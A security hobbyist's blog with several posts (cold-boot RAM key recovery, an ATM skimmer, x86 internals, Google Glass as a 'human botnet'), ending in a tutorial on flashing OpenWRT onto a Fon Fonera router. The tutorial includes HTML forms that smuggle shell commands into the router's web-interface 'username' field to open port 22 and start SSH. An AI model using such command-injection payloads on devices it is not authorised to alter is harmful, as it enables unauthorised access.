If you are unfamiliar with Daniel Suarez’ pair of brilliant novels: Daemon, and its sequel Freedom(tm), you really need to stop right here and go read them. They’re fascinating books and I think most folk in information security would enjoy reading them.

Possible mild spoiler alerts follow.

A major element of the two novels is a botnet, created with artificial intelligence and pathfinding elements developed by an MMO game developer, that, upon the creator’s death, begins to wreak havoc in order to affect a form of major societal change. While a botnet can autonomously do a lot electronically, such as build up funding via various forms of fraud, gather information from online systems, etc., it would be limited in what it can do in the “real world” (beyond what’s in the immediate reach of control systems).

To accomplish things outside of cyberspace the botnet recruits human operators to do various tasks, using VOIP, surveillance systems to monitor progress, and the funds it is acquiring to reward/incentivize operators. By the second book this escalates to the point that “DarkNet” operators wearing glasses that project waypoints and objectives for them to accomplish perform tasks for “DarkNet credits”, an alternative currency built around the new society being built by the system.

In short: Human nodes in a botnet. You can treat a human like a remote procedure call: arguments are task description and money, return value is measured success or failure.

Obviously this is something that Google Glass was created for. I think so, and Google appears to agree:

BGYeEuUCYAAbZfR

I don’t think they read the same books I read, but hey, maybe they did.

Honestly, I was just having a laugh at what immediately came to mind when Glass was announced. While I’d be happy to develop a nice tactical objective/waypoint control system for multiple operators using Glass, I’m not (at the moment) keen on paying $1500 and a flight to New York for the privilege.

If anyone wants human botnet software and wants to fund it, let me know.

 

Lately, I’ve really enjoyed having The Consumerist in my RSS reader.  There’s always a lot of great stories about companies screwing over people, people getting in contact with the right people to straighten things out, and nice tips and tricks for when it happens to you.  It’s one of my favorite non-security-related blogs in my reader, however today it had a post that’s definitely of-interest for my security blog followers:

Take a look at that thing!  Very cool.  Has it’s own memory and a usb port to dump the data it records.  It would have been very tempting to keep it and reverse engineer it if I had found it :-) .  This sort of thing is definitely something the bank and police (not to mention bank customers!) need to know about, though.

 

I’ve spent some time looking at these posts over on Gustavo Duarte’s blog today, and I am very impressed.  Gustavo has taken the time to write an entire series of posts on x86 internals, focusing on how memory works and the boot-up process.  He uses Linux and, to a lesser extent, Windows in his examples, and has really great illustrations and diagrams of all the concepts.  Combine that with an excellent writing style and links to good reference material, and you have one of the most accessible and readable introductions to these topics that I’ve ever seen.  

Here are links to the topics from his “Internals” series, although his other writings are worth checking out too:

These are core concepts for those in the areas of vulnerability analysis, exploit development, and (good) penetration testing to know, so read up :) .

I ran across this blog from a link to the most recent post earlier this morning, and unfortunately I spent enough time at the site that I can’t even remember now where I found it.  Otherwise I would give some credit to person I’m following on twitter or RSS that linked it.  If that person happens to be you, leave a comment to claim your fame :) .

 

The Princeton guys that I mentioned in my last post have not released the tools that they used in their paper, yet. I wanted to play around with the way PC’s tend to retain memory, so I’ve written my own implementation of the RAM dumper they describe and show in their videos:

Now, you can try it out for yourself, and see how you can recover text, images, and other data (such as encryption keys!) from memory after the plug has been pulled for a short period of time.

 

I’m taking a very short break from my Ph.D. preliminary exam to write a short post about this, because it’s so cool :) .

The Center for Information Security Policy at Princeton has published a very interesting paper on recovering encryption keys by imaging memory after a computer has been forcibly shut down:

Modern RAM chips hold state for longer than most people expect after power has been removed. I became aware of this a while back, and after testing it out, found that the time varied wildly between computers. When I did this, I used a minimal linux boot CD to write a known string to memory over and over again, filling it up. Then I’d pull power, leave it off for a short while, then boot back up and see if I could find the string in memory again. On the desktop machine I tested it on, the string would stay in memory for a few seconds with the power off. Amazingly, with my Latitude C400 laptop, it would stay in memory for a good 10 minutes (with no battery or wall power).

It’s really fun stuff, and it’s nice to see it fleshed out way better than my own limited experiments.

 

OpenWRT on the Fon Fonera is one of the most popular posts on this site, however there’s a few rough spots, as it’s more of a set of notes from my own personal experience rather than a polished How-to. There’s several places where someone might fall through the cracks if they’re not using a very similar configuration to mine, or simply aren’t reading my mind.

To improve on this, Brett Hoff and Russell Butturini have made some notes of their own, as in-line comments to mine. to clarify some of the things that have changed in newer versions of Kamikaze and the Fon, gotchas with non-Apache web servers, and a few other things you might have problems with. Those notes are available here.

Happy flashing!

 

UPDATE : Brett Hoff and Russell Butturini have made some notes of their own to go with these notes, to clarify some of the things that have changed in newer versions of Kamikaze and the Fon, gotchas with non-Apache webservers, and a few other things you might have problems with. Those notes are available here.

I’m very proud of my new toy. These Fon Fonera routers are really what the security geek ordered, and they’re usually pretty cheap on ebay. Check out this guy’s picture of one next to his mouse. They’re tiny! It can be hard enough to find a WRT54G duct-taped up behind a cubicle wall, so imagine where you could put that thing! It’s also handy to have something like this in your laptop bag to set up wireless networks out in the field, bridge a wireless network over to a wired, wireless honeypots, or any number of other strange configurations you might want to set up.

I’ll probably cover some interesting things you can do with routers like this in future posts, but for now, we need to get this thing into useful shape. By default, the Fonera firmware (which is based on OpenWRT) sets up private and public SSIDs, phones home to the folks at Fon, and other things undesirable for our purposes. I have replaced the Fonera’s default firmware with the latest snapshot of OpenWRT, and I tried to take some notes on the process. Hopefully if you get your hands on one of these, you can follow along:

Big warning: Don’t connect the Fon up to the Internet at all until you finish getting a fresh install of OpenWRT on it. It will probably update itself with new firmware from Fon and lock you out of having any fun at all with it.

Through this, the following sites were very helpful. A lot of the steps are pinched and adapted from them:

The first order of business is to figure out what version of the firmware I have. The default firmware’s status page helps with this:

We don’t want to turn it into a useless brick in the process of flashing it, and we’re in luck, because the device uses an implementation of RedBoot. To make things easy, we want to enable RedBoot’s ability to listen on the wired Ethernet side for a telnet session on boot. That way, if we screw up, we can always go back into RedBoot and fix it. We’ll also flash it in RedBoot.

To enable RedBoot, we need to get a shell on the default firmware. There’s not an SSH server listening by default, but we’re going to turn one on through a command injection exploit on the web interface. It’s pretty trivial, and it works well on the 0.7.1-r1 version. If you have a newer version, you’ll want to check around to see how to revert it (it might be as simple as holding down the reset button to reset it back to 0.7.1-r1), or if there are new exploits.

You’ll create two html files that submit the right input to the web interface. Go ahead and connect to the Fon’s private network SSID “MyPlace”. First, we want to set up iptables to allow traffic on the SSH port (just save this HTML to your hard drive in a .html file, view it in your web browser, and click submit):


<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>

Now, we want to actually start the dropbear SSH server:


<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>

You should be able to SSH into your Fon on port 22 of its IP address (192.168.10.1). You’ll want to set up dropbear to run whenever you reboot the Fon, too:

weasel@hacktop:~$ ssh root@192.168.10.1
The authenticity of host '192.168.10.1 (192.168.10.1)' can't be established.
RSA key fingerprint is 69:52:42:17:fd:b0:97:1a:5f:33:8d:5a:f0:5b:8a:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.1' (RSA) to the list of known hosts.
root@192.168.10.1's password:


BusyBox v1.1.3 (2006.11.21-19:49+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|
|___|

 Fonera Firmware (Version 0.7.1 rev 1) -------------
  *
  * Based on OpenWrt - http://openwrt.org
  * Powered by FON - http://www.fon.com
 ---------------------------------------------------
root@OpenWrt:~# mv /etc/init.d/dropbear /etc/init.d/S50dropbear

Also, use vi to uncomment the two lines in /etc/firewall.user that allow connections on port 22.

To enable RedBoot over Ethernet, you’ll need a modified kernel and a new RedBoot config. For convenience, I set up a web server on the computer I configured my Fon on, downloaded those files, and placed them in the root directory. From here on out, I’ll assume you’ve done the same, know what IP address it’s listening on, and will substitute it in as needed.

Next, get the modified kernel and RedBoot config onto your Fon and apply them:

root@OpenWrt:~# wget http://192.168.10.183/out.hex
Connecting to 192.168.10.183[192.168.10.183]:80
out.hex              100% |*******************************************************|  4096       00:00 ETA
root@OpenWrt:~# wget http://192.168.10.183/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma
Connecting to 192.168.10.183[192.168.10.183]:80
openwrt-ar531x-2.4-v 100% |*******************************************************|   512 KB    00:00 ETA
root@OpenWrt:~# mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7
Unlocking vmlinux.bin.l7 ...
Erasing vmlinux.bin.l7 ...
Writing from openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma to vmlinux.bin.l7 ...  [w]
root@OpenWrt:~# reboot

After it finishes rebooting, SSH in and continue…

root@OpenWrt:~# mtd -e "RedBoot config" write out.hex "RedBoot config"
Unlocking RedBoot config ...
Erasing RedBoot config ...
Writing from out.hex to RedBoot config ...  [w]

Once that finishes, your Fon probably won’t reboot correctly. No big deal. We’ll be going into RedBoot to flash the new OpenWRT. Redboot listens on port 9000 of 192.168.1.254 for about ten seconds upon boot before it moves on. You have ten seconds to send Ctrl-C on this port to stop it and allow you to interact with RedBoot. It’s easiest to just use this script, redboot.pl, to connect to RedBoot. Leave it running on the computer you’re configuring this from, plug in the router, and it’ll connect up for you and leave you at a RedBoot prompt.

weasel@hacktop:~$ ./redboot.pl 192.168.1.254

Snipped out a bunch of “unreachable” messages

192.168.1.254 is unreachable
192.168.1.254 is alive
-> == Executing boot script in 7.080 seconds - enter ^C to abort
<- ^C
Trying 192.168.1.254...
Connected to 192.168.1.254.
Escape character is '^]'.
RedBoot>

Once we have RedBoot working, we can flash the Fon with the latest OpenWRT. Go to the OpenWRT download site here, download “openwrt-atheros-2.6-vmlinux.lzma” and “openwrt-atheros-2.6-root.jffs2-64k”, and then place them in the root directory of the web server you’re running.

Connect up to RedBoot again, and use the following commands to initialize the memory on the Fon, configure the network settings (with your own computer/web server instead of 192.168.1.5), and write OpenWRT to the Fon. Note that these commands take some time, especially when you write the root filesystem. Play some Sudoku or something:

RedBoot> ip_address -l 192.168.1.254/24 -h 192.168.1.5
IP: 192.168.1.254/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.5
RedBoot> fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b 0x80040450 /openwrt-atheros-2.6-root.jffs2-64k -m HTTP
-
Raw file loaded 0x80040450-0x801e044f, assumed entry at 0x80040450
RedBoot> fis create -b 0x80040450 -f 0xA8030000 -l 0x00700000 -e 0x00000000 rootfs
... Erase from 0xa8030000-0xa8730000: ................................................................................................................
... Program from 0x80040450-0x80740450 at 0xa8030000: ................................................................................................................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b %{FREEMEMLO} /openwrt-atheros-2.6-vmlinux.lzma -m HTTP
-
Raw file loaded 0x80040800-0x800f07ff, assumed entry at 0x80040800
RedBoot> fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7
... Erase from 0xa8730000-0xa87e0000: ...........
... Program from 0x80040800-0x800f0800 at 0xa8730000: ...........
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> fis load -l vmlinux.bin.l7
Image loaded from 0x80041000-0x80289086
RedBoot> exec

(Edit: Note that for the line “fis create -b 0×80040450 -f 0xA8030000 -l 0×00700000 -e 0×00000000 rootfs”, you may need to use “-l 0x006F0000″ instead of “-l 00700000″, since the Kamikaze kernel has apparently grown since I wrote this. Thanks to DmnHunter on #pauldotcom for the tip!)

The last command starts up the new system. Give it some time to boot up, and it should show up on 192.168.1.1. Now, you can telnet in, and set a password if you like (which will automatically set up an ssh server for you).

Congratulations! If it worked as well for you as it did for me, you’re running a fresh install of OpenWRT on your Fon. You might want to start reading up on the OpenWRT Wiki about how to configure the Kamikaze version of OpenWRT. I’ll also post some scripts, hints, and tricks to this blog as I come up with them (especially when it’s of interest to the security community).

© 2012 McGrew Security Suffusion theme by Sayontan Sinha